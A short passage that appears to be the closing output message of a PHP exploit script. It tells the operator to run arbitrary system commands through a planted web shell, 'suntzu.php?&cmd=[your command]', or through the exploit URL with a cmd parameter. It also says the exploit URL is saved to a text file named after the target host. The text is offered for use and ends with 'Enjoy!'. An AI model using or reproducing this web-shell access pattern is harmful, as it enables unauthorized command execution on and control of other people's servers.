call this url:

or this:
http://".htmlentities($hOsT.$pAtH)."html/suntzu.php?&cmd=[your command]
however,if not succeeded, you can launch commands with this:
http://".htmlentities($hOsT.$pAtH.$XpL)."&cmd=[your command]
Also, we keep exploit url in ".htmlentities($hOsT).".txt, so you have not to
cycle anymore...
Enjoy! ***********************************************************************
